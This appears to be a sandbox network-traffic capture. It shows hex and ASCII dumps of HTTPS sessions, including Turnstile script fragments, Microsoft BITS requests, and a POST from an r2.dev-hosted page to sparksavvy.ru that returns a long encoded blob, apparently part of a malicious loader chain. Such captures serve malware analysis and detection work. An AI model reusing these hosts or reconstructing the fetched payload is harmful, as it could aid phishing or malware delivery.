2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 6b 72 2c 28 66 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(kr,(f=(n=e.displayLanguage)===null\|\|n===void 0?void 0:n.toLowerCase())!==nul
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return h&&J(s,h.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 56 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(V(
2024-10-10 16:00:26 UTC	1369	IN	Data Raw: 58 3d 22 68 69 64 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 Data Ascii: X="hidden",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49730	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:27 UTC	659	OUT	POST // HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive Content-Length: 17 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:27 UTC	17	OUT	Data Raw: 7b 22 67 61 6c 61 22 3a 22 71 75 61 69 6e 74 22 7d Data Ascii: {"gala":"quaint"}
2024-10-10 16:00:30 UTC	643	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VFHFkDsmqzHUHF1PMjQoiIrGZTV%2BWxkB0Ukhyxw1L6%2F7brXF7qYyTH4%2FAzI5ZePk4IeC1rnrq01LU7cYk6ulGn15KZYKim1ktGNev%2FRVI2ADlD5XkMBEHwSeFudjsfa2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d07d2cafead4364-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:30 UTC	726	IN	Data Raw: 34 39 33 38 0d 0a 7b 22 61 22 3a 22 41 70 30 68 4b 73 47 35 2b 66 59 33 37 32 69 33 70 73 55 64 6b 6a 79 76 34 6c 63 59 54 51 2b 6a 4f 45 73 65 39 6d 67 6f 45 35 31 4b 77 32 31 6b 68 43 4b 75 49 55 30 68 54 44 53 70 36 76 39 4d 5a 4d 43 4e 46 72 33 4f 42 6f 38 46 58 76 49 39 38 39 38 6a 69 4e 41 47 69 51 6d 4c 6b 75 47 51 55 72 53 36 73 50 2b 51 66 37 30 39 4a 54 68 39 4e 54 58 46 50 33 47 30 50 61 70 35 32 45 59 51 6a 38 38 34 4e 79 58 4f 6c 30 5c 2f 62 42 4b 61 6d 54 6b 39 32 68 4d 75 78 2b 6d 74 43 74 6f 4b 36 44 67 6c 6d 6c 63 43 5a 36 5a 2b 75 71 75 69 61 74 4f 7a 4f 6b 4e 50 41 6b 79 4f 5a 46 57 41 43 47 30 6c 37 75 75 4d 36 53 35 6e 51 71 64 73 46 5c 2f 76 48 32 65 42 45 5a 44 76 68 6f 45 44 6d 55 35 72 4d 35 35 38 42 65 6b 37 31 71 56 36 77 31 79 Data Ascii: 4938{"a":"Ap0hKsG5+fY372i3psUdkjyv4lcYTQ+jOEse9mgoE51Kw21khCKuIU0hTDSp6v9MZMCNFr3OBo8FXvI9898jiNAGiQmLkuGQUrS6sP+Qf709JTh9NTXFP3G0Pap52EYQj884NyXOl0\/bBKamTk92hMux+mtCtoK6DglmlcCZ6Z+uquiatOzOkNPAkyOZFWACG0l7uuM6S5nQqdsF\/vH2eBEZDvhoEDmU5rM558Bek71qV6w1y
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 75 52 43 65 55 4d 59 4c 57 35 6f 31 6b 73 57 65 31 45 4b 32 6a 6a 4b 4f 71 78 55 30 52 72 38 39 54 57 37 6a 4b 56 4d 6a 73 78 72 4d 5c 2f 42 6e 51 61 50 41 49 4a 62 78 54 48 4c 6c 36 65 6b 37 4c 44 65 34 52 5c 2f 55 78 31 6a 45 36 74 41 77 4d 59 61 78 5c 2f 77 4d 7a 2b 78 69 38 37 5c 2f 65 6d 42 4a 74 79 68 38 51 33 4e 57 4a 76 30 67 59 76 6b 4e 43 33 4a 7a 58 59 48 4b 49 42 2b 50 2b 32 5c 2f 54 78 44 63 4d 74 37 78 6a 68 75 6f 55 6a 46 6c 67 66 6a 61 59 6b 72 62 48 6f 39 73 4d 59 5c 2f 58 53 41 49 73 32 55 43 6a 6d 5c 2f 48 7a 6d 75 37 72 35 76 6a 64 35 69 36 68 49 31 6a 32 51 4e 79 55 37 31 33 5a 34 44 44 67 68 4b 66 5a 73 45 74 34 77 59 64 31 6d 55 7a 6c 43 34 64 75 45 6c 32 47 36 31 63 55 46 36 65 50 5c 2f 64 50 57 71 5c 2f 71 53 67 4a 71 67 36 33 44 Data Ascii: uRCeUMYLW5o1ksWe1EK2jjKOqxU0Rr89TW7jKVMjsxrM\/BnQaPAIJbxTHLl6ek7LDe4R\/Ux1jE6tAwMYax\/wMz+xi87\/emBJtyh8Q3NWJv0gYvkNC3JzXYHKIB+P+2\/TxDcMt7xjhuoUjFlgfjaYkrbHo9sMY\/XSAIs2UCjm\/Hzmu7r5vjd5i6hI1j2QNyU713Z4DDghKfZsEt4wYd1mUzlC4duEl2G61cUF6eP\/dPWq\/qSgJqg63D
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 41 50 41 2b 69 50 6d 31 50 6d 56 43 7a 70 35 47 56 63 30 4e 49 74 46 61 4c 58 67 46 36 5c 2f 44 63 33 61 48 37 34 39 5a 76 43 4f 32 65 59 49 30 46 48 36 39 6e 4e 35 2b 4c 6f 70 74 45 56 4d 66 6d 79 35 52 73 67 75 6f 50 4c 2b 77 58 62 55 53 59 52 71 59 67 61 74 5a 41 58 48 79 48 4a 4b 51 51 35 43 58 75 46 38 53 4d 6f 59 34 54 75 79 48 74 64 76 77 46 69 78 70 41 61 4b 69 4d 35 70 61 6f 67 77 4c 41 37 6f 47 67 35 63 33 43 5a 54 71 6f 69 47 39 4c 55 69 33 4a 56 46 4c 75 34 4f 59 68 32 51 43 39 51 61 51 73 49 4f 5a 4d 67 69 76 4f 51 4c 79 46 77 79 44 34 46 74 59 41 71 64 73 52 6f 49 63 77 64 36 59 4e 31 48 51 78 59 2b 6a 79 57 5c 2f 78 32 65 48 46 34 76 31 54 46 55 76 2b 5c 2f 77 75 4a 46 4e 75 6d 54 43 43 30 5c 2f 6e 75 70 4a 38 65 75 61 69 69 2b 71 54 45 70 Data Ascii: APA+iPm1PmVCzp5GVc0NItFaLXgF6\/Dc3aH749ZvCO2eYI0FH69nN5+LoptEVMfmy5RsguoPL+wXbUSYRqYgatZAXHyHJKQQ5CXuF8SMoY4TuyHtdvwFixpAaKiM5paogwLA7oGg5c3CZTqoiG9LUi3JVFLu4OYh2QC9QaQsIOZMgivOQLyFwyD4FtYAqdsRoIcwd6YN1HQxY+jyW\/x2eHF4v1TFUv+\/wuJFNumTCC0\/nupJ8euaii+qTEp
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 76 5c 2f 71 4b 77 30 4f 39 34 38 67 41 54 54 35 47 36 6f 6c 45 52 71 6a 5a 69 56 78 6e 45 77 54 74 49 45 74 4d 6d 6b 34 5c 2f 64 44 55 74 54 50 45 76 69 49 66 6b 4b 56 33 4f 45 57 38 59 5c 2f 4a 78 7a 67 47 74 50 57 4c 4e 5a 44 55 45 53 47 66 31 4e 4d 48 37 6f 6a 61 33 62 57 62 77 68 44 33 47 4e 69 61 61 4e 34 56 46 6d 43 65 57 76 39 44 39 54 76 74 73 39 4e 64 41 35 45 4e 31 46 70 32 2b 71 52 48 72 78 5a 62 7a 5c 2f 4c 36 6b 49 53 61 39 70 50 54 55 6b 39 69 76 4f 52 30 50 49 69 32 6a 6b 44 31 33 6f 53 56 55 67 4a 68 4c 34 51 52 75 67 5a 6d 73 6c 5a 6b 4c 73 78 5a 33 71 6b 75 53 31 67 78 31 69 66 33 78 44 32 62 41 59 32 7a 66 34 71 46 56 7a 4f 48 33 55 78 42 56 56 49 6f 72 30 4b 67 38 65 69 31 45 5c 2f 6e 4f 6d 77 54 49 59 4f 45 47 72 56 42 6e 6e 4e 54 71 Data Ascii: v\/qKw0O948gATT5G6olERqjZiVxnEwTtIEtMmk4\/dDUtTPEviIfkKV3OEW8Y\/JxzgGtPWLNZDUESGf1NMH7oja3bWbwhD3GNiaaN4VFmCeWv9D9Tvts9NdA5EN1Fp2+qRHrxZbz\/L6kISa9pPTUk9ivOR0PIi2jkD13oSVUgJhL4QRugZmslZkLsxZ3qkuS1gx1if3xD2bAY2zf4qFVzOH3UxBVVIor0Kg8ei1E\/nOmwTIYOEGrVBnnNTq
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 61 62 57 7a 56 69 61 62 42 7a 6d 71 34 5a 70 6b 70 65 2b 61 50 53 32 65 58 50 56 75 38 6a 4e 55 74 73 55 79 62 62 64 74 48 65 44 53 6e 7a 46 79 4e 35 32 68 4e 79 52 74 44 61 56 53 70 47 42 74 49 31 57 59 48 5c 2f 50 37 54 34 42 56 66 74 4e 30 37 2b 44 35 7a 63 76 73 45 6f 4a 36 4b 39 44 79 38 52 64 30 6d 79 53 48 66 31 61 51 76 7a 39 4e 73 51 56 4d 64 63 71 39 39 43 32 46 59 7a 4d 4d 32 39 6a 74 79 62 6e 61 6e 72 7a 4d 63 63 4d 38 43 70 7a 31 52 2b 62 34 49 76 6a 35 4b 79 6d 62 34 46 62 50 50 59 59 79 62 59 30 66 67 62 6b 71 49 42 62 52 76 37 4d 4e 38 33 49 41 77 30 4c 77 41 42 52 4a 57 62 53 44 33 39 38 62 38 34 69 6a 69 55 4e 4f 30 69 4e 4b 57 4f 4a 58 6b 43 56 49 37 42 5a 73 51 58 65 73 5c 2f 78 38 43 6d 75 69 5c 2f 43 4a 52 66 51 6b 2b 6c 6a 37 76 32 Data Ascii: abWzViabBzmq4Zpkpe+aPS2eXPVu8jNUtsUybbdtHeDSnzFyN52hNyRtDaVSpGBtI1WYH\/P7T4BVftN07+D5zcvsEoJ6K9Dy8Rd0mySHf1aQvz9NsQVMdcq99C2FYzMM29jtybnanrzMccM8Cpz1R+b4Ivj5Kymb4FbPPYYybY0fgbkqIBbRv7MN83IAw0LwABRJWbSD398b84ijiUNO0iNKWOJXkCVI7BZsQXes\/x8Cmui\/CJRfQk+lj7v2
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 59 32 70 49 54 4b 51 70 6d 7a 69 30 36 36 56 6f 6e 41 78 55 51 68 61 67 30 55 2b 74 34 7a 49 49 5c 2f 42 38 72 45 63 70 62 6f 2b 79 69 35 42 57 64 59 39 72 6a 74 53 6f 6e 53 70 76 57 6e 6a 78 4b 59 4f 6d 31 79 34 58 51 50 4e 77 73 54 31 70 6d 74 61 51 35 61 70 34 62 63 63 52 74 5c 2f 72 34 31 4c 71 59 44 71 4a 52 4f 34 47 79 36 5a 58 75 41 43 42 75 70 61 54 31 46 46 47 70 4d 45 4b 65 41 35 67 63 33 65 69 35 61 6f 48 55 6b 59 57 63 64 56 45 64 5c 2f 6e 43 35 70 45 5a 35 38 4d 5a 47 77 72 2b 56 51 6b 44 4c 74 36 36 64 30 39 67 69 4c 35 36 47 33 6d 39 73 53 59 59 45 6a 42 55 71 37 59 67 56 59 4a 53 6b 70 63 47 4c 51 79 71 73 6a 2b 6e 68 53 4b 6a 65 48 6a 55 61 43 77 59 61 48 4f 76 43 74 6f 57 5c 2f 36 61 6b 47 33 57 33 48 77 74 46 66 74 49 4c 53 49 73 42 70 Data Ascii: Y2pITKQpmzi066VonAxUQhag0U+t4zII\/B8rEcpbo+yi5BWdY9rjtSonSpvWnjxKYOm1y4XQPNwsT1pmtaQ5ap4bccRt\/r41LqYDqJRO4Gy6ZXuACBupaT1FFGpMEKeA5gc3ei5aoHUkYWcdVEd\/nC5pEZ58MZGwr+VQkDLt66d09giL56G3m9sSYYEjBUq7YgVYJSkpcGLQyqsj+nhSKjeHjUaCwYaHOvCtoW\/6akG3W3HwtFftILSIsBp
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 55 52 38 71 67 69 50 41 63 30 47 79 69 49 69 58 70 59 31 35 48 30 51 34 50 36 49 56 45 66 53 4e 78 38 2b 4d 4e 58 43 71 61 76 66 39 6f 73 79 79 64 73 65 31 34 63 74 6d 6d 7a 43 67 66 46 61 38 31 48 4b 5c 2f 6f 50 7a 72 58 57 74 47 48 59 59 54 79 35 71 31 61 34 62 33 73 51 72 53 79 63 4e 77 6c 33 63 64 69 31 34 64 51 74 42 76 67 69 6c 62 71 4b 56 56 31 4b 4f 6b 6f 73 71 37 6b 6b 73 7a 6e 75 4d 37 7a 42 54 57 37 66 42 44 4b 4e 74 4f 52 79 56 34 4a 57 6e 73 2b 32 5a 4c 73 4d 36 4a 30 61 43 69 61 47 49 41 47 69 6e 43 56 7a 34 36 37 62 69 48 5a 47 48 44 34 36 52 76 75 6a 58 6e 6e 30 6f 38 4c 49 36 71 79 66 79 51 31 74 61 49 45 4e 59 43 43 75 58 43 36 4d 6f 39 76 76 45 59 4e 6e 30 51 71 7a 31 65 34 44 61 4d 35 50 68 45 72 53 73 79 33 38 30 4a 77 69 4b 41 54 37 Data Ascii: UR8qgiPAc0GyiIiXpY15H0Q4P6IVEfSNx8+MNXCqavf9osyydse14ctmmzCgfFa81HK\/oPzrXWtGHYYTy5q1a4b3sQrSycNwl3cdi14dQtBvgilbqKVV1KOkosq7kksznuM7zBTW7fBDKNtORyV4JWns+2ZLsM6J0aCiaGIAGinCVz467biHZGHD46RvujXnn0o8LI6qyfyQ1taIENYCCuXC6Mo9vvEYNn0Qqz1e4DaM5PhErSsy380JwiKAT7
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 6e 41 63 31 62 5a 4f 76 6e 50 66 4a 38 47 78 75 70 49 41 58 65 56 6a 55 6d 62 7a 6b 43 54 5c 2f 59 49 53 77 70 66 4c 5c 2f 37 6b 4a 4c 4f 76 6d 78 61 61 69 4d 43 4e 35 75 35 4e 46 62 72 7a 7a 76 32 55 32 79 6c 2b 30 6e 6c 44 6e 2b 43 30 76 79 31 4b 49 55 42 68 69 4a 4f 4a 50 55 71 66 63 77 56 57 63 43 43 58 69 4b 2b 37 35 46 4b 77 57 4c 4a 5a 34 31 59 39 6a 4e 4c 42 2b 69 4d 63 66 34 46 72 31 69 74 79 5c 2f 57 4d 42 35 58 4d 75 58 57 44 75 64 64 30 54 6c 44 65 77 65 7a 4e 65 46 61 42 6f 32 59 4e 48 6f 59 38 58 7a 61 6a 66 6a 4a 35 6f 56 4f 41 30 6a 70 56 74 5c 2f 56 6f 43 49 2b 62 5a 5c 2f 4f 70 36 62 59 6a 6e 63 79 7a 57 73 53 45 48 76 66 2b 42 6e 54 53 32 59 37 71 46 6a 4e 62 67 76 47 73 62 4c 4b 44 6a 6d 45 70 45 7a 30 70 75 39 77 71 32 43 37 30 2b 69 Data Ascii: nAc1bZOvnPfJ8GxupIAXeVjUmbzkCT\/YISwpfL\/7kJLOvmxaaiMCN5u5NFbrzzv2U2yl+0nlDn+C0vy1KIUBhiJOJPUqfcwVWcCCXiK+75FKwWLJZ41Y9jNLB+iMcf4Fr1ity\/WMB5XMuXWDudd0TlDewezNeFaBo2YNHoY8XzajfjJ5oVOA0jpVt\/VoCI+bZ\/Op6bYjncyzWsSEHvf+BnTS2Y7qFjNbgvGsbLKDjmEpEz0pu9wq2C70+i
2024-10-10 16:00:30 UTC	1369	IN	Data Raw: 4d 6a 47 6a 6c 6c 57 79 2b 4e 63 42 47 76 78 62 4a 69 61 65 33 78 67 48 2b 68 4c 45 32 4b 51 51 78 4a 6e 41 46 5c 2f 41 5c 2f 4e 72 6f 53 69 56 35 46 5c 2f 35 4b 54 35 65 57 69 49 68 4e 72 76 50 33 71 79 6f 42 59 51 68 48 2b 61 64 6d 37 77 4b 66 44 39 74 74 71 6a 41 38 4b 49 36 4e 77 4a 63 64 33 38 4c 51 73 4b 36 48 4f 63 46 5a 62 39 4e 6d 59 6f 69 5a 72 76 36 78 6a 39 61 6a 6e 49 52 36 77 51 51 64 6f 53 31 45 54 35 2b 31 55 4b 48 66 43 4d 72 73 41 4a 51 5a 67 6e 6e 66 76 71 66 71 43 4b 76 4f 69 31 65 36 6d 44 6a 79 37 63 4d 6b 53 31 63 69 55 42 43 49 4f 68 67 69 64 65 50 62 32 6f 72 4f 4e 35 51 31 4e 6a 75 57 53 54 77 6a 50 33 78 73 4f 45 65 59 32 46 62 73 58 5a 59 7a 4b 69 6b 53 6b 78 4b 55 38 45 31 75 56 54 57 50 37 52 59 32 36 48 69 31 78 2b 32 68 55 Data Ascii: MjGjllWy+NcBGvxbJiae3xgH+hLE2KQQxJnAF\/A\/NroSiV5F\/5KT5eWiIhNrvP3qyoBYQhH+adm7wKfD9ttqjA8KI6NwJcd38LQsK6HOcFZb9NmYoiZrv6xj9ajnIR6wQQdoS1ET5+1UKHfCMrsAJQZgnnfvqfqCKvOi1e6mDjy7cMkS1ciUBCIOhgidePb2orON5Q1NjuWSTwjP3xsOEeY2FbsXZYzKikSkxKU8E1uVTWP7RY26Hi1x+2hU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49729	23.60.203.209	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:27 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-10 16:00:27 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=175541 Date: Thu, 10 Oct 2024 16:00:27 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49731	23.60.203.209	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
